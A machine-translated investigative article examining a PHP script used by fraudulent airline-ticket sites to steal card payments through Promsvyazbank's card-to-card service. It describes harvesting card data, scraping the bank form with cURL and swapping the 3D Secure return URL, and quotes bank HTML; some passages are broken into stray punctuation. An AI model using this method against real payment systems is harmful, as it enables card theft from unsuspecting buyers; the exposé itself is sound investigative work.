Voos baratos ... Uma rede de sites fraudulentos roubando dinheiro de cartões. A segunda investigação. O que o Promsvyazbank tem a ver com isso?



Há cerca de um mês, publiquei um artigo no Geektimes: “Passagens aéreas baratas ... Ou uma rede de sites fraudulentos roubando dinheiro de cartões. Minha investigação. A publicação recebeu uma ótima resposta e uma continuação inesperada ...

Deixe-me lembrá-lo para quem ainda não leu a primeira parte. Em uma publicação baseada em casos reais, foram descritos esquemas usando os fraudadores que roubam dinheiro de passagens de compradores de passagens aéreas que eram imprudentes em acessar um site falso de vendas de passagens. O número de sites fraudulentos para a venda de passagens aéreas na RuNet é de dezenas e centenas (inclusive fechados). Nesses sites, o usuário recebe primeiro informações reais sobre voos; propõe-se fazer um pedido e pagar com cartão de crédito. Tudo fica bonito até os compradores de passagens aéreas descobrirem que ficam sem dinheiro e sem passagens.

Em todos os casos detectados, para roubar dinheiro, esses sites usam os serviços dos bancos para transferir dinheiro de cartão para cartão (P2P). Na primeira parte, o mecanismo de como a página do Tinkov Bank para pagamento de cartão em cartão é disfarçada e incorporada em sites fraudulentos, para que o "comprador" não perceba nada, foi descrito em detalhes. O Promsvyazbank também foi mencionado - foi através dele que o dinheiro foi roubado do cartão da vítima na história descrita. E se não restavam dúvidas no banco TKS, no caso do Promsvyazbank não estava claro como o dinheiro foi retirado. O script principal usado para roubar dinheiro foi executado no lado do servidor e sem os códigos-fonte, era possível assumir apenas o que estava fazendo.

E um dos usuários do Geektimes entrou em contato comigo e enviou o script payp2p.php que foi usado recentemente na maioria dos sites fraudulentos de venda de passagens aéreas. Este script usa o serviço Promsvyazbank para transferir de cartão para cartão. E, na minha opinião, o Promsvyazbank, fornecendo seu serviço, que era fácil de enganar, contribuiu para o crescimento do número de golpistas da Internet.

Provavelmente existem outros bancos semelhantes, mas esta publicação lidará principalmente com o Promsvyazbank.

Antes de começarmos a análise do script, vamos ver como era a página de pagamento de um site fraudulento e como era a página de tradução de um cartão para um cartão do Promsvyazbank.

Parecia a página de pagamento em sites fraudulentos
Ao analisar o código HTML desta página de pagamento, não encontrei nenhuma parte das páginas de nenhum banco, iframes internos não são usados, scripts não são usados, e a página em si é muito simples e não se parece com a página do Promsvyazbank. Os dados inseridos no formulário são verificados não por scripts, mas por mecanismos incorporados nos navegadores, usando os atributos "padrão" e "necessário" para os campos de entrada e para as listas suspensas selecionadas. I.e. até a página armazenada no navegador na unidade local permanece “operacional” e pode ser usada para testar como os dados do mapa são interceptados. Uma página semelhante salva anteriormente foi usada como parte desta publicação para entender como o script funciona.

De fato, esta página é apenas um formulário para inserir um número de cartão. Quando o formulário é confirmado, o processamento é transferido para o programa payp2p.php.

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

Payp2p.php pode fazer qualquer coisa. O código dela anteriormente não estava disponível para nós, pois é executado no lado do servidor. Mas como já escrevi, agora temos um código e saberemos tudo.

Agora vamos ver como a página de pagamento fica de um cartão para outro no site do Promsvyazbank.

https://www.psbank.ru/Personal/eCommerce/Card2Card


Como você pode ver, a página do Promsvyazbank não é como a página de pagamento apresentada anteriormente. Mesmo o número de campos de entrada para o número do cartão não corresponde.

Vejamos o código HTML da página PSB para descobrir como funciona. Tudo o que precisamos saber é nestas poucas linhas:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

Esta parte significa que a página de pagamento real está localizada em um domínio diferente e o que vemos no site do Promsvyazbank é exibido em uma "janela" usando a tecnologia iframe.

Gostaria de saber quem possui o domínio 3ds.payment.ru.
Whois.

3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

C online.payment.ru



O domínio 3ds.payment.ru também pertence ao Promsvyazbank. Lembraremos deste domínio, ele ainda será encontrado na descrição mais de uma vez.

Vamos ver qual é a página que o Promsvyazbank incorpora em seu site, e possivelmente em outros sites.

https://3ds.payment.ru/P2P/card_form.html


Esta é uma página real usada para transferências de cartão para cartão. Como você pode ver, esta página não tem bordas. Isso é feito de propósito para tornar mais conveniente a criação em outros sites.

No código HTML desta página, estamos interessados ​​nesta parte:



Estes são campos de entrada ocultos para armazenar informações de serviço. Também nos lembraremos desta página. E onde é usado será descrito mais adiante.

A parte introdutória acabou, vamos para a parte mais interessante e vejamos como o script payp2p.php funciona ou como ele funciona.

O script é simples e não requer nenhum conhecimento aprofundado da linguagem de programação PHP para entendê-lo. Por conveniência, eu quebrei em pedaços. À esquerda, estão os números de linha que podem ser referenciados. O script é completamente inalterado na forma em que foi recebido. Após cada parte do código, será apresentada uma descriptografia e um exemplo dos valores das variáveis ​​durante a execução do programa (isto é, algo semelhante à depuração). Em alguns lugares, comentários excessivos são possíveis - isso é feito para que os leitores que não são de programação também possam entender o significado do código do programa.

Para o teste, precisamos de um formulário no qual você precisará inserir os dados do cartão com o qual o pagamento é suposto. Usaremos o formulário salvo anteriormente. A aparência do formulário em um site fraudulento é mostrada na figura no início do artigo. Sobre o formulário será escrito mais abaixo. Para o teste, digite o número do cartão 1111.2222.3333.4444.

Vamos começar.



Linha 3 - não executa nenhum comando.
Linha 4 - Um arquivo dbconfig.php separado é carregado no qual os parâmetros para conexão com o banco de dados MySQL são armazenados. Uma captura de tela do código dbconfig.php e sua análise estão abaixo.
Linha 6 - nos conectamos ao servidor MySQL, no banco de dados do qual iremos armazenar dados sobre cartões roubados e transferências de dinheiro feitas. Essa linha se conecta simultaneamente ao servidor MySQL e sai do programa se a conexão falhar por algum motivo.
Linha 11 - selecione a codificação para trabalhar com o banco de dados MySQL.
Linha 13 - Conectamos ao servidor MySQL anteriormente, agora selecionamos o banco de dados com o qual iremos trabalhar.

O script payp2p.php inicia seu trabalho depois que um usuário enganado preenche um formulário em uma página semelhante a uma página de pagamento online comum. Ao clicar no botão "Pagar" no formulário, o script payp2p.php recebe os dados inseridos no formulário. Os dados do formulário para o script são transmitidos usando o método POST.

Linha 16 - o número do cartão de crédito inserido no formulário na página anterior é salvo na variável $ num.
Linha 17 - o mês / ano do período de validade do cartão é armazenado na variável $ date.
Linha 18 - o código CVV do cartão é salvo na variável $ cvv.
Linha 19 - na variável $ code, um certo código é gerado anteriormente ao fazer o "pedido de passagens aéreas". Este código é usado para que o usuário possa visualizar seu pedido através de um link especial. O mesmo código é usado para identificar o pedido (na página de pagamento, para exibir automaticamente o valor do pagamento; se salvo pelos golpistas ao salvar no “livro de vendas”, esse código também é transmitido para a forma de pagamento, provavelmente como um identificador de transferência (mais sobre isso abaixo).
Linhas 21-22 Uma linha é formada - uma consulta SQL, que é então executada. A consulta SQL adiciona à tabela 'cartão' os valores do identificador do pedido, valor, período de validade do cartão, código CVV do cartão e a hora atual exata. Um exemplo de registro no banco de dados está abaixo.

Exemplo de informações de depuração


« » « ». , . .

"âáèâ" = '' ISO8859-1 =>Windows-1251
, . .

Volte nossa atenção temporariamente para o arquivo dbconfig.php.



Aqui estão os parâmetros para conectar-se ao banco de dados. Pelo que pode ser interessante:

DBHOST — , MySQL ( MySQL , , )
DBNAME —
DBUSER — MySQL
DBPASS — MySQL
SECURE_AUTH_KEY — - . , , , . .



Linha 28 - um arquivo aviacfg.php de terceiros está conectado. Este é um arquivo de configuração que armazena números de cartão de destinatário e outras configurações.
Linha 29 - Uma matriz é criada a partir dos números dos cartões separados por uma quebra de linha no arquivo de configuração.
Linha 30-31 - A variável $ crd recebe aleatoriamente o número de uma das cartas.

Vamos ver o que temos no arquivo aviacfg.php



Aqui vemos que a variável $ aviacfg é uma matriz que contém os valores de desconto (desconto) e cartões (números de cartões para os quais são esperados levantamentos). Neste exemplo, há apenas um número de cartão, mas pode haver qualquer número deles. O nome do arquivo (aviacfg.php) e a variável ($ aviacfg) indicam em qual área esse script foi aprimorado. O valor do desconto determina a porcentagem de preços em um site fraudulento que será mostrado mais barato do que realmente é vendido em um site de passagens aéreas “honesto”. O proprietário de um site fraudulento pode rapidamente tornar o preço dos ingressos exibido mais barato. Quanto menor o preço exibido, maior a probabilidade de um dos potenciais compradores arriscar comprar bilhetes em um site desconhecido. Sobre o desconto, haverá um comentário posterior sobre exatamente como ele é implementado no código.



Além disso, o valor da transferência, o número do cartão para o qual a transferência é feita e o código que identifica o pedido de passagens aéreas em um site fraudulento são armazenados no Banco de Dados MySQL. Um exemplo de registro no banco de dados será apresentado abaixo.

Exemplo de informações de depuração




Linha 40 - a variável $ p112 recebe um valor com o número do cartão que foi inserido anteriormente no formulário.
Linhas 41-51 - O número do cartão é dividido em partes de quatro dígitos.
Linhas 53-57 - O comprimento do número do cartão é verificado. Se no número do cartão o número de caracteres for diferente de 16 ou 18, ocorrerá uma saída. Uma mensagem é exibida por cinco segundos e depois redirecionada para outra página. Neste exemplo, o retorno será para a página do pedido no site fraudulento.
Na linha 56 "Iaaa? Iua aaiiua ea? Ou" ao converter a codificação ISO8859-1 => Windows-1251 corresponde ao texto: "Dados inválidos do cartão".
Linhas 58-61 - as variáveis ​​$ p4, $ p5, $ p6, $ p11 recebem os valores inseridos anteriormente no formulário (data de validade do cartão, código CVV, valor do pagamento).
Linha 63 - Na variável $ info, todos os dados do cartão e o valor da transferência são salvos. Ao formar, as quebras de linha "\ n" e os separadores "### ..." são usados. Essa variável não é usada em nenhum outro lugar. Ao finalizar o script, ele pode ser usado para salvar registros em um arquivo de texto comum ou para exibição durante a depuração.

Exemplo de informações de depuração




Linhas 66-75 - Na verdade, é uma duplicação do bloco de linhas 27-36. Mais uma vez, o cartão receptor é selecionado aleatoriamente no arquivo de configuração aviacfg.php, e tudo isso é salvo na tabela do banco de dados card_balance. Assim, na tabela card_balance, a cada tentativa de transferência, dois registros serão criados. Se apenas um cartão de destinatário estiver entupido no aviacfg.php, com amostragem aleatória, é claro, o mesmo cartão será sempre selecionado. Nesse caso, as entradas na tabela card_balance serão simplesmente duplicadas. Porém, se vários números de cartões estiverem obstruídos no aviacfg.php, com amostragem aleatória, os resultados serão diferentes e haverá um registro na tabela card_balance, o primeiro está incorreto e o segundo está correto.

Isso é um erro, e os compradores do script (haverá um comentário separado sobre eles) podem pedir ao desenvolvedor para compensar os danos morais associados ao fato de as traduções reais serem pelo menos duas vezes menores que as entradas de log.

Exemplo de informações de depuração


Exemplo de entradas do banco de dados MySQL
. : «card» «card_balance». , .

, , — . .

«card».



«card_balance».


Observe que, no primeiro caso, apenas os cartões de remetente sem valor, mas com a hora exata, são armazenados na tabela do banco de dados MySQL e, no segundo caso, os dados sobre as transferências feitas (mais precisamente, sobre as tentativas de transferência) são salvos. O número e o valor do cartão do destinatário são salvos, os dados do remetente não são salvos na segunda tabela. Nos dois casos, o "ID do pedido" é armazenado adicionalmente.

A primeira parte do script, descrita acima, pode ser arbitrariamente chamada de "entrada no livro de vendas para contabilidade". Ela não tem relação com a transferência de dinheiro. Para transferir dinheiro, você pode fazer sem salvar dados no banco de dados. No entanto, vemos que os dados do cartão são salvos, o que significa que, no futuro, eles poderão ser usados ​​adicionalmente para roubar dinheiro dos cartões "no modo manual". Os dados do cartão podem ser vendidos ou usados, por exemplo, para pagar pela publicidade no Yandex.Direct, conforme mostrado no artigo anterior.

A segunda parte do script refere-se à transferência de dinheiro através do site Promsvyazbank 3ds.payment.ru.



A linha 78 do comentário indica que se supõe que a página de confirmação para um pagamento bem-sucedido tenha um endereço como "/sus.php?cd=BX3FKT". Se for bem-sucedido, o usuário deverá retornar para este endereço.

Linha 80-91 Para realizar uma tradução, você deve primeiro ir para a página de serviço.

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p.


Esta página exibe algo como esta linha:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

"ORDER_NUM" é ~ "Número do pedido", "TIMESTAMP" é o carimbo de data / hora atual. Se a página for atualizada, novos dados serão sempre emitidos.

Para ler uma página da web ou enviar dados para uma página da web, use o comando curl. A ondulação (cURL) permite conectar-se programaticamente a servidores da Web usando vários protocolos, incluindo http e https. No nosso caso, curl é um navegador de software que pode salvar páginas da web em variáveis. A página armazenada na variável é uma linha muito longa com o código-fonte HTML desta página. Você pode trabalhar com essas variáveis ​​de string da mesma maneira que com qualquer string - você pode procurar por texto, substituir texto etc. A ondulação nos scripts descritos será usada várias vezes.

Linha 80 - O URL é armazenado na variável $ login_url.
Linha 81 - O URL é armazenado na variável $ agent.
Linha 82 - Inicializa a sessão cURL.
Linha 83-90 - Os parâmetros são definidos para a sessão com CURL (endereço da página armazenado anteriormente em $ login_url; identificador do navegador armazenado anteriormente em $ agent; página da qual a página é redirecionada ou referida de outra forma; REFERER; configurações de COOKIES, etc.)
Linha 91 - Como resultado do comando curl_exec, uma página da Web será obtida de forma programática, que será salva na variável $ page.
Linhas 93-95 A página da web salva $ page contém ~ "número do pedido" ORDER_NUM, que é armazenado na variável $ ord.
Linhas 96-98 A página da página $ salva contém o carimbo de data / hora TIMESTAMP, que é armazenado na variável $ tim.

Exemplo de informações de depuração




Agora, um "navegador de software" precisa ir para a página https://3ds.payment.ru/P2P_ACTION/card_form.html. Esta é a mesma página de pagamento, cuja captura de tela foi mostrada acima. Esta é uma página com um formulário, parte dos campos de serviço ocultos. Parte do código HTML com campos de entrada ocultos foi mostrada acima. Alguns valores desses campos ocultos precisam ser lembrados para serem utilizados posteriormente ao enviar o formulário.

Linha 99 - Salvamos o endereço da página na variável $ url.
Linha 100 - Os parâmetros para a sessão com URL são definidos (neste caso, apenas o endereço da página. O restante das configurações permanece o mesmo).
Linhas 101-102 As variáveis ​​usadas anteriormente $ page e $ part são excluídas.
Linha 103 - Como resultado do comando curl_exec, uma página da Web será obtida programaticamente, que será salva na variável $ page.
Linhas 104-106 A página da web $ page salva contém o valor do campo TERMINAL, que é armazenado na variável $ term.
Linhas 107-109 A página da web $ page salva contém o valor do campo TRTYPE, que é armazenado na variável $ type.
Linhas 110-112 A página da web $ page salva contém o valor do campo MERCHANT, que é armazenado na variável $ merch.
Linhas 113-115 A página da web $ page salva contém o valor do campo EMAIL, que é armazenado na variável $ ml.

Em geral, esses valores na forma indicada nunca são alterados. E eles podem ser salvos no código como constantes e não recebidos sempre. Obviamente, a obtenção dos valores desses campos é feita para segurança adicional, caso um ou mais campos sejam alterados em algum momento no futuro.

Descrição de alguns campos. É fácil encontrar uma descrição completa de todos os campos no Google.

TERMINAL - Número único do terminal virtual da saída
MERCH_NAME - Nome do ponto de
venda MERCHANT - Número da saída atribuída pelo banco
TRTYPE - Tipo de transação solicitada (Pagamento - 1, Cancelar - 22, Pré-autorização - 0, Conclusão de liquidações - 21)
EMAIL - Endereço de e-mail para enviar alertas

Exemplo de informações de depuração

, - . ($page)

EMAIL aqui, este é um caso épico. Quem se importa, materiais adicionais sobre este EMAIL no final do artigo no aplicativo sob o spoiler.



Aqui vemos um grande bloco. O fato de parecer grande é explicado pela largura limitada da coluna na publicação e pela conveniente apresentação do código pelo autor do script. Tudo o mesmo poderia ser colocado em 10 linhas de código, mas a conveniência de ler e editar o código seria prejudicada.

Linha 120 - Na variável $ url, salve o endereço da página.
Linha 121-123 - Defina os parâmetros para uma sessão com URL.
Linha 124 - uma matriz de $ ncrd é criada a partir do número do cartão do destinatário na variável de cadeia $ crd, que conterá partes do número do cartão divididas em quatro.
Linha 125 - cabeçalhos HTTP são armazenados na variável de matriz $ headers.
Linha 126 - Os parâmetros são definidos para a sessão com CURL (cabeçalhos HTTP da variável $ headers.
Linhas 135-164 - É criada uma matriz $ postL, cujo valor corresponderá ao campo do formulário na página de pagamento (número do cartão do remetente, dividido por quatro; data de validade do cartão do remetente) ; Cartão CVC do remetente; número do cartão do destinatário de quatro vias; data de validade do cartão do destinatário; cartão CVC do destinatário; valor do pagamento; "número do pedido"; descrição da página de confirmação; número do terminal; nome do ponto de venda; e-mail para notificações; carimbo de data / hora ; número do cartão do remetente não dividido em partes; número do cartão do destinatário não dividido em partes; dados sobre software e hardware "no computador do remetente", projetados para criar a aparência de um usuário real, não de um script).
Linhas 135 - Os parâmetros são definidos para a sessão cURL (dados transmitidos na solicitação HTTP POST. Nesse caso, a matriz $ postL é convertida em uma string, que é uma string codificada em url, como 'p1=val1&p2=val2&...'. Os

dados transmitidos mais claramente são mostrados na captura de tela com as informações de depuração abaixo.

Exemplo de informações de depuração




Linha 166 - Como resultado do comando curl_exec, os dados preparados serão enviados para o formulário da página da web usando o método POST. Para uma página da Web, esse envio será exatamente igual ao de um usuário comum que preencheu e confirmou o formulário em um navegador comum. A página com o resultado do envio de dados para o formulário será salva na variável $ page.
Linha 167 - A sessão cURL termina.
Linha 168 - Na página resultante, que é armazenada na variável $ page, e, como lembramos, é uma linha longa, a subcadeia “Error” é pesquisada.
Linhas 169-173 - Se a substring "Error" for encontrada, por 5 segundos a mensagem de erro "O cartão não se encaixa" é exibida e, em seguida, o script sai e redireciona a página exibida no navegador para a "página de pedidos". Se o usuário for persistente, ele poderá tentar novamente o procedimento de pagamento.

Página exibida em caso de erro.



As causas dos erros emitidos pelo banco podem ser diferentes (um erro no número do cartão, fundos insuficientes, um erro de autorização e muitos outros). Mas para o script payp2p.php não há diferença. Depois que o pagamento falha, significa que o usuário é redirecionado para a página da qual você pode repetir a tentativa de pagamento. A página à qual o erro é retornado pode ser facilmente alterada, dependendo da tarefa.

Exemplo de código HTML retornado pela página do banco, em caso de erro
<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>


Um exemplo de informações de depuração se o banco relatar um erro ao pagar


Linha 174 - Se não houve saída anterior do script devido a um erro no pagamento, isso significa que tudo está indo conforme o esperado. Na página salva anteriormente na variável $ page, todas as substrings com o endereço são substituídas por uma https://3ds.payment.ru/cgi-bin/cgi_linkstring com um endereço do tipo mydomain.ru/sus.php?cd = ... - esse é o endereço da página no site fraudulento ao qual o usuário deve acessar se o pagamento for bem-sucedido. (Nessa página, o usuário pode ser agradecido e informado que os tickets eletrônicos foram enviados por correio). Após substituir a substring, o resultado é armazenado na variável $ pp.

Linha 175 - A variável $ pp é exibida no navegador. Como a variável $ pp é uma sequência com o código HTML completo da página, o usuário verá alguma página. A página exibida não será diferente externamente da página original que o banco forneceu - a diferença estará apenas no código HTML no local em que o link foi substituído.

Então, o que é essa página que o banco fornece no caso de inserir o número correto do cartão e em que o script substitui um link para a página de pagamento bem-sucedida em um site fraudulento? E, afinal, provavelmente ainda deve haver um cheque 3D Secure dos bancos emissores, o que não permitirá o pagamento? O código terminou no local mais interessante e há dúvidas de que, sem scripts, formulários etc. adicionais complicados, ele pode funcionar.

. - . . .

Eu dirijo o número do meu cartão bancário no arquivo aviacfg.php. Vou tentar aceitar a transferência, se, é claro, funcionar. Eu abro a página do formulário salva anteriormente no disco. Este formulário foi simplesmente salvo no navegador ao visitar um dos sites fraudulentos, que no momento da redação da primeira parte da publicação ainda funcionava. O formulário já foi salvo com a soma de 2915 rublos, mas para testar é demais. Vamos mudar isso. De qualquer forma, existem campos visíveis e ocultos. Os campos ocultos (entrada, seleção) não são diferentes dos campos comuns, exceto que eles não são visíveis. Esses campos são usados ​​para armazenar informações de serviço que o usuário não precisa ver. Os campos de entrada estão ocultos de duas maneiras.

  • CSS ( display:none). , (input), , ( DIV) input.
  • — , type=«hidden». type=«text».

No nosso caso, os campos do formulário estão ocultos usando type = "hidden".

Pressionamos o navegador F12 (modo de desenvolvimento da web). Encontre o lugar certo no código HTML e altere o texto type = "hidden" para type = "text" para dois ou mais elementos de entrada. Agora vemos os campos nos quais a soma e o código de serviço (código) estão armazenados. Reduza a quantidade de 2915rub para 20rub. Agora, insira os dados do seu segundo cartão bancário no formulário. Dinheiro deve ser debitado deste cartão se for possível fazer uma transferência.



Confirmamos o formulário clicando no botão "Pagar". Após clicar no botão, o script payp2p.php é iniciado, que recebe os dados inseridos no formulário.

Para minha surpresa, depois de inserir o número do cartão real e clicar no botão "Pagar" no formulário de teste, vi a página do Sberbank (o banco do qual a transferência é feita) na tela, pedindo para inserir o código de confirmação 3D Secure.



Também no meu telefone, recebi um SMS do Sberbank com um código.



Antes de testar com um cartão de crédito válido, presumi que, para confirmar o código do 3D Secure, ele teria que ser "enganado" para o usuário de alguma forma e depois transferisse secretamente programaticamente a confirmação do 3D Secure para este formulário. No entanto, tudo acabou sendo muito mais simples. Depois que os dados para a transferência de cartão para cartão são enviados ao site do Promsvyazbank, o navegador exibe a forma do banco emissor do cartão a partir do qual a transferência é feita. No meu caso, este é o Sberbank. Este formulário nem precisa ser falsificado. O formulário de confirmação é exibido no site HTTPS do Sberbank. As vítimas dos próprios fraudadores diretamente neste formulário familiar a eles inserem um código de confirmação. Depois disso, se a transferência for aprovada, o dinheiro será debitado. Embora seja teoricamente possível protestar contra essa transferência, está longe do fato de que o dinheiro será devolvido.A probabilidade de um reembolso é afetada por muitos fatores, incluindo a rapidez com que a "vítima" será aplicada ao seu banco.

Código HTML da página que o Sberbank distribui para confirmar o 3D Secure sob o spoiler. O código foi obtido durante o teste gravando a variável $ page em um arquivo de texto. Linha 166 do script payp2p.php.

Código de página HTML seguro 3D antes da substituição da linha
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

Código HTML da página depois que ela substitui parte do texto, abaixo do spoiler. O código foi obtido durante o teste gravando a variável $ pp em um arquivo de texto. Linha 174 do script payp2p.php.

Código HTML da página segura 3D após a substituição da linha
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

Em resumo, no código HTML da página 3D Secure (neste exemplo, do Sberbank), a linha:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

Altera programaticamente para:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

A sequência de substituição é o endereço da página para a qual o cartão bancário emissor do remetente, depois de verificar o código 3D Secure, deve devolver o usuário. Antes do script substituir a linha, o site do Promsvyazbank era especificado como o endereço de retorno. Depois que o script substituiu a linha, alguma página no site fraudulento já é indicada como o endereço de retorno.

Não entendo completamente em que ponto exato o endereço de retorno está sendo substituído, mas funciona. Nesse momento, quando o navegador exibe a página https do Sberbank com uma solicitação para inserir o código 3D Secure, se você observar o código HTML de origem da página no navegador, não haverá endereço de retorno em nenhum site. O código HTML desta página tem um comprimento de mais de 400 linhas e é completamente diferente do código HTML da página de resposta do Sberbank apresentada acima, que foi capturada gravando as variáveis ​​$ page (linha 166) e $ pp (linha 174) no disco.

Se você digitar o código 3D Secure errado, o Sberbank em sua página exibirá uma mensagem informando que o código está incorreto e envia outro SMS. Assim que o código correto é inserido, ele é redirecionado ao site de pagamento ou ao site de substituição. Ou seja, provavelmente, o redirecionamento para o próprio site de pagamento implica que do Sberbank todos os procedimentos necessários foram concluídos. O Sberbank aqui serve como um exemplo para testes. A transferência também pode ser feita através de outro banco.



Do lado do "comprador do ingresso", fica assim. O comprador em uma forma de pagamento pré-preparada digita o número do seu cartão. Depois disso, a página de confirmação do código 3D Secure é exibida quase imediatamente e um SMS com um código de confirmação chega. A página 3D Secure no navegador é exibida no site do banco do emissor do cartão do comprador usando o protocolo HTTPS. A página com o formulário para inserir o número do cartão pode parecer suspeita, mas a confirmação do 3D Secure no site do seu banco não causa nenhuma dúvida ou suspeita.

A propósito, preste atenção à assinatura “ticket pay” na linha “Description” na página 3D Secure do Sberbank. Essa assinatura é configurada no script payp2p.php. Em exemplos futuros, tentaremos mudar isso.

Vamos voltar aos testes.

Digitei o código do SMS na página do Sberbank e, depois de clicar no botão "Enviar", recebi um aviso de que os dados seriam enviados por uma conexão não segura.



Depois de confirmar que concordo com o envio de dados por uma conexão não segura, fui redirecionado para a



página /sus.php?cd=… . Esta é a página de retorno. O endereço de retorno é definido no script. Nesse caso, a página não foi encontrada. Mas o motivo é claro - a página de retorno não foi preparada com antecedência.

Embora o objetivo tenha sido quase alcançado, o dinheiro de cartão para cartão realmente não passou . Não houve sms adicionais com informações de que o pagamento foi recusado, etc.

Decidi que o motivo da falha na primeira tentativa foi que o site local (localhost) funcionava em uma conexão http insegura e o site Sberbank em um protocolo http seguro. Http e https não são muito amigáveis ​​entre si. A propósito, isso explica por que os sites fraudulentos descritos na primeira parte da publicação usavam uma conexão https segura, embora com o certificado mais simples.

Para verificar essa suposição, tive que configurar o protocolo https no site local. Para fazer isso, um domínio local p2p.localhost e um certificado autoassinado foram criados. Como resultado, o novo endereço com o script de teste começou a ter a seguinte aparência: Além

https://p2p.localhost/payp2p.php

disso, o endereço da página para a qual o retorno deve ser feito após a inserção do código 3D Secure foi alterado no script. A página de retorno em si também foi pré-preparada.

